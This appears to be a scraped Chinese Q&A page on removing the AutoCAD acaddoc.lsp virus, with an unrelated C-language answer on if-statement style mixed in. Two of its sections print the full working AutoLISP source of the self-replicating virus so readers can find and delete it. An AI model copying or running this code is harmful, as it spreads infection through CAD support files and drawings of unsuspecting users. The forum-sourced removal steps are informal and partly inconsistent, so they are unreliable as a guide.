mnlc矿机吧

㈠ 运行CAD之后会自动生成一个lisp文件

保证你不在局域网 或者u盘不乱拷吧。我也中了 这个，清楚不彻底。一下是我自己收集的。

方法 一

acaddoc.lsp输入的列表有缺陷（转自LOVE空间）2009年04月07日 星期二 上午 11:14这个是个新病毒，用以往的解决方法（1.lps改名为acaddoc.lsp替换）无法解决，在网络搜索了一下看到网络空间有个帖子有相关解决办法。

原帖如下：

今天在Q群里又见网友请求删除CAD病毒，说用专杀工具也无法解决，于是让他把病毒文件传了给我。

打开文件一看，发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。

该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码（“acaddoc.lsp”文件内容）写入“*.lsp”文件内，并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时，直线命令“line”、外部参照管理命令“xref”和分解（炸开）命令“explode”无法使用。

CAD系统感染该病毒文件后，只是简单搜索删除“acaddoc.lsp”文件，不能清除病毒。因为所有的“*.lsp”文件已经被修改，所有“*.lsp”文件都是病毒文件。

解决方法壹：

①、关闭CAD

②、搜索并删除所有“acaddoc.lsp”文件

③、卸载CAD（必须卸载干净，并进入C盘用户目录内删除没有卸载完的CAD文件）后，重新安装CAD

解决方法贰：

①、关闭CAD

②、搜索并删除所有“acaddoc.lsp”文件

③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文件）

预防CAD病毒：

装好CAD系统后，在没有被病毒感染前，将CAD目录内所有文件的属性设置为只读，可以减少中毒的机率。（此法99.999%有效）

附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登录系统时的用户名， 200×和R×.×分别是CAD的版本和版本代号。（注意：目录C:\Documents and Settings\是系统隐藏文件夹）

转帖地址：http://hi..com/liuhuibin1984/blog/item/fbe647233340a543ad34deb3.html

方法 二

CAD开机运行时会有一大串函数，并且产生acaddoc.lsp的文件处理方法，我用了，方法很好就转过来了

以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp专杀什么的软件。。。全试了都没有用。后来通过网上介绍的一些关于lsp病毒的特性，亲身试验后确实有效，在此和大家分享，希望能为大家解决一些问题。
下面言归正传，杀毒步骤如下：
1、全盘删除acaddoc.lsp（包括隐藏文件夹）——————废话了，呵呵
2、删除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp
3、删除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、删除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10个****.lsp文件。
5、COPY下面附件的alsp内的两个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
6、COPY下面附件的mnl内的三个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
7、COPY下面附件的LSP内的十个文件到C:\Program Files\AutoCAD 2006\Support，改为只读。

经以上步骤处理后，就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小异。现就出现的ACADDOC.LSP病毒进行杀毒。不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间，把最近的几个文件中的病毒代码删除。（用记事本打开）
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。

说明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
2、要删除的病毒代码在文件的尾部，具体如下：

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

加入360督导委员会 参与全民护安全！ 论坛版主扩编，欢迎您的加入！

canesky
金币：65
经验：99
等级：学前班
功勋：无
短信
[回复此楼][引用][举报] 2 楼 2010-06-11 09:27 顶！

寒梅雪松
金币：15
经验：51
等级：幼儿园
功勋：无
短信
[回复此楼][引用][举报] 3 楼 2010-11-10 03:14 这个方法不管用

aimou108
金币：15
经验：55
等级：幼儿园
功勋：无
短信
[回复此楼][引用][举报] 4 楼 2010-12-07 10:59 已解决！感谢360论坛！同时感谢qq！如果不是qq当年作出一个艰难的决定，我不会用上360.，也就不会知道360论坛。

楼主给我们提供了一个解决方案，但需要注意的是，病毒感染的并不仅仅是安装目录下的文件。如果仅仅清除安装目录下感染文件的代码，是无效的。这也是很多朋友说这个方法不管用的原因。它同时感染了
C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一并将上述代码清除。
这个问题折腾了我几个月，奶奶的。无毒一身轻啊。。。

㈡ cad2004 或者CAD2008每次运行后产生一个acad文件，非常讨厌，如何去掉

是右下角那个气泡提示吗？你可以单击右下角那个雷达小图标--设置--将气泡式通知 勾掉。在“检查新内容”选择“在需要时”。
如果提示“现在时间是X点XX分了的哦！好好干哦！党是不会亏待你的！老板的眼睛是雪亮的啦！”等内容说明你中病毒了。上网上找下CAD病毒专杀查杀就行了。

㈢ C语言编程题

#include
main()
{
int a=10,b=0;
if(a=12) /*这个地方将a赋值为12，取代原来的10*/
{a=a+1;b=b+1;} /*这个地方将a和b各加1*/
else /*没有执行*/
{a=a+4;b=b+4;} /*没有执行*/
printf("%d;%d\n",a,b);
}// 最后面输出a=13;b=1

--------------------------------

主要是弄错了 = 和 ==
= 是赋值
== 是才判断.

-----------------------------------------------
4.3 if 语句
if语句是C++/C语言中最简单、最常用的语句，然而很多程序员用隐含错误的方式写if语句。本节以“与零值比较”为例，展开讨论。

4.3.1 布尔变量与零值比较
l 【规则4-3-1】不可将布尔变量直接与TRUE、FALSE或者1、0进行比较。
根据布尔类型的语义，零值为“假”（记为FALSE），任何非零值都是“真”（记为TRUE）。TRUE的值究竟是什么并没有统一的标准。例如Visual C++ 将TRUE定义为1，而Visual Basic则将TRUE定义为-1。
假设布尔变量名字为flag，它与零值比较的标准if语句如下：
if (flag) // 表示flag为真
if (!flag) // 表示flag为假
其它的用法都属于不良风格，例如：
if (flag == TRUE)
if (flag == 1 )
if (flag == FALSE)
if (flag == 0)

4.3.2 整型变量与零值比较
l 【规则4-3-2】应当将整型变量用“==”或“！=”直接与0比较。
假设整型变量的名字为value，它与零值比较的标准if语句如下：
if (value == 0)
if (value != 0)
不可模仿布尔变量的风格而写成
if (value) // 会让人误解 value是布尔变量
if (!value)

4.3.3 浮点变量与零值比较
l 【规则4-3-3】不可将浮点变量用“==”或“！=”与任何数字比较。
千万要留意，无论是float还是double类型的变量，都有精度限制。所以一定要避免将浮点变量用“==”或“！=”与数字比较，应该设法转化成“>=”或“<=”形式。
假设浮点变量的名字为x，应当将
if (x == 0.0) // 隐含错误的比较
转化为
if ((x>=-EPSINON) && (x<=EPSINON))
其中EPSINON是允许的误差（即精度）。

4.3.4 指针变量与零值比较
l 【规则4-3-4】应当将指针变量用“==”或“！=”与NULL比较。
指针变量的零值是“空”（记为NULL）。尽管NULL的值与0相同，但是两者意义不同。假设指针变量的名字为p，它与零值比较的标准if语句如下：
if (p == NULL) // p与NULL显式比较，强调p是指针变量
if (p != NULL)
不要写成
if (p == 0) // 容易让人误解p是整型变量
if (p != 0)
或者
if (p) // 容易让人误解p是布尔变量
if (!p)

4.3.5 对if语句的补充说明
有时候我们可能会看到 if (NULL == p) 这样古怪的格式。不是程序写错了，是程序员为了防止将 if (p == NULL) 误写成 if (p = NULL)，而有意把p和NULL颠倒。编译器认为 if (p = NULL) 是合法的，但是会指出 if (NULL = p)是错误的，因为NULL不能被赋值。
程序中有时会遇到if/else/return的组合，应该将如下不良风格的程序
if (condition)
return x;
return y;
改写为
if (condition)
{
return x;
}
else
{
return y;
}
或者改写成更加简练的
return (condition ? x : y);

㈣ CAD打开后出现函数错误

估计中毒了 你先重装下CAD然后在C盘打开
C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2007\R17.0\chs\Support 把acad.mnl这个文件的属性设置成只读的 要先设置啊 装好CAD做的第一件事就这个 估计以后就不会中acad.lsp、acadappp.lsp和acadapp.lsp之类的病毒了 而且Application Data是隐藏文件 注意啊 要不你找不到Application Data这个文件

㈤ CAD相关问题,无法找到acad.mnl,

鄙人用了一年的的cad,中了一年的毒，（始终感觉用一段时间，cad速度就会变慢，而且选择集不在鼠标的点上，有的时候甚至鼠标在屏幕上瞬移，偶尔看不见鼠标轨迹，无论是画图时的计算速度还是开启程序的加载速度也不论04.05.07.08还是10都是一个结果）直到昨天才知道原本程序加载对了，可以节省这么多时间。

无意中看到cad中经常提示：输入列表错误，参数类型错误这两个小问题，心里有的时候很着急，尤其是面对等待的客户来说，自己比任何人都着急。原先一直以为是盗版所至。无聊中得知，这个是cad病毒，cad杀毒软件无法清除，因为这个是cad的执行文件，无法删除。解决方法很多，如下网络文献：

是由于病毒在cad系统lisp文件（比如acad.mnl中）增加了一些加载病毒的命令，当病毒被杀掉后，加载病毒时就加载不到了，就会出现这种提示，如果cad没有变慢，并且你也不在意的话就这样用吧，1.搜索所有的文件（包括隐藏文件）是否有acad.sys和acad.fas文件，如果有全删掉。2.如果还不行那就把cad支持目录里面的C:\Documents and Settings\********\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\support，的目录，(*******是你的计算机登录名称)删除所有support中所有文件，然后重新安装
这个用cad病毒专杀是解决不了的，不过可以将 surport 目录下面的lsp文件全部删除，以及 logo.gif删除，然后从没有中毒的电脑复制lsp文件过来就OK了
1.搜索全盘的acaddoc.lsp，并删除； 2.显示隐藏文件； 3.把压缩包里的1.lsp改名为acaddoc.lsp，再把改完后的acaddoc.lsp和acadapq.lsp覆盖路径C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2004\R16\chs\Support下相应的文件即可。 此方法在AutoCAD2004、AutoCAD2006、AutoCAD2008均测试成功我已经用这个方法成功清除AutoCAD2002中的病毒，但是要把改完后的acaddoc.lsp和acadapq.lsp覆盖路径C:\Program Files\AutoCAD 2002\Support下相应的文件，为了一劳永逸，我已经把这两个文件改成只读的。
如果您安装天正，请不要删除天正下的ACADDOC.LSP文件。
专业AutoCAD病毒专杀软件 下载 ，也可以解决CAD病毒“错误: 输入的列表有缺陷”的，大家可以试下判断您的AutoCAD病毒程序的标准：检查acad.lsp所在目录下是否有acadapp.lsp，如果有，基本上可以肯定是CAD病毒程序。遇到CAD病毒程序时的处理办法：使用 windows的查找功能在整个机器上查找acad.lsp和acadapp.lsp，把查找到的文件全部删除掉即可。AutoCAD系统感染该病毒文件后，只是简单搜索删除“acaddoc.lsp”文件，不能清除病毒。因为所有的“*.lsp”文件已经被修改，所有“*.lsp”文件都是病毒文件。AutoCAD病毒“错误 输入的列表有缺陷”解决办法：
第一种方法 ①、关闭AutoCAD软②、搜索并删除所有“acaddoc.lsp”文件
③、找一台没有被CAD病毒破坏、且安装有相同版本AutoCAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文件）

第二种解决办法：
查找您的机器的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”），一定要你的机器是ie为6或者更高版本，配置文件错误，执行options命令，把cad的配置设为<<未命名配置>>，然后删除“HyAcs_52”配置。退出AutoCAD，重新进入acs。
打开CAD，命令栏英文闪烁，错误: 参数类型错误: streamp nil，按ESC键可终止
这个病毒的清除 ，如下：
1.全盘扫描所有的 *.mnl 和 *.lsp
2.清除每一个文件中 “(setq flagx t)” 行以下的所有内容；
3.清除后如果文件为空，则删除之。

整理后如下经验供大家分享（亲测）：

1，为了铲除病根，建议首先按文献的说明扫描全盘（只要中了这个毒你打开过的cad文件全都会携带，而且是隐藏的格式）*。lsp文件，全部删除，（现在很多同事电脑里同时都放了安装包，看清了，别把安装包里面的给删了）

2，彻底卸载cad(建议用360可以清除注册表以及加载项)

3，重装cad（有人看到这里觉得说到这里就很无语了，也许会想，既然重装还费个什么话还删除lsp.那就错了，重装是因为要彻底清除的基础上打防御针。而且以后都不会中这个毒了。如果不重装只用修复，病毒还是会找到你的，而且重装和修复时间是相差无几的）

4。（重点）重装后切忌不可启动cad.再次搜索*.lsp(安装目录下的)然后全选中把属性改成只读

这下就没有问题了，哪怕是再次打开别人发过来的中毒文件也不会有问题了，测试后结果04.10都适用。

贴出来供大家分享！

㈥ acaddoc.lsp是病毒么怎么解决 系统是win7

acaddoc病毒处理办法

此文为转载,原作者未明,但感谢原作者.
前言:?下文第一、二、三段无实质内容，可略过不读。
一 病毒简介:
最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。

二 中毒症状：
机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。

三 传播机理：
通过分析病毒的源代码，初步了解其传播机理如下：
如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么，暂未深入研究。

四 清除步骤：
退出CAD。
全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”，然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除，则先清空回收站，再搜索删除。
注：探索者目录下有个AcadDoc.lsp（注意大小写）不是病毒文件，谨防误删。
查看C盘根目录下是否有boot.dat文件，如有，则将其删除。
进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006（或AutoCAD2004）\R16.2\chs\Support目录，用记事本打开该目录下的所有*.mnl文件，手动删除与附件1相同的代码（一般都在文件末尾），然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
进入CAD安装目录下的support目录，将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。
如果本机安装有多个版本的CAD，都需按上述步骤检查一次。

五 预防措施：
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时，应先检查该文件夹中是否包含上述病毒文件。如有，则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹，将常用的lisp程序放置在该文件夹下，同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上（360杀毒软件免费的），在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件，应先下载到本机再打开。

附件1: 病毒代码
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)